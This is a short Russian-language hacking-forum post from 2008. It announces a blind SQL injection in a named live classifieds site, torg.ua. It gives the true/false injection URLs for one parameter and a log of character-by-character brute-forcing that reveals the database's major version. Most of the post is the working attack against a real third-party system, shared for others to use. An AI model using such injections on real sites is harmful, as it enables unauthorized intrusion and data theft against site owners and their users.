08.06.2008, 23:08
|
|
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
Провел на форуме:
1537850
Репутация:
536
|
|
torg.ua
Код:
http://www.torg.ua/board_podrobno.php?details=2261+AND+1=1/*
Код:
http://www.torg.ua/board_podrobno.php?details=2261+AND+1=2/*
Смотрите разницу  . Инъекция вывода не имеет, но можно посимвольно брутить, сбрутил версию:
-> Try 30 .. 70 -> Char > 50
-> Try 50 .. 70 -> Char < 60
-> Try 50 .. 61 -> Char < 55
-> Try 50 .. 56 -> Char < 53
-> Try 50 -> NO =(
-> Try 51 -> NO =(
-> Try 52 -> FOUND!
-> Ascii: 52
-> Char: 4
Ничего хорошего, четверка 
|
|
|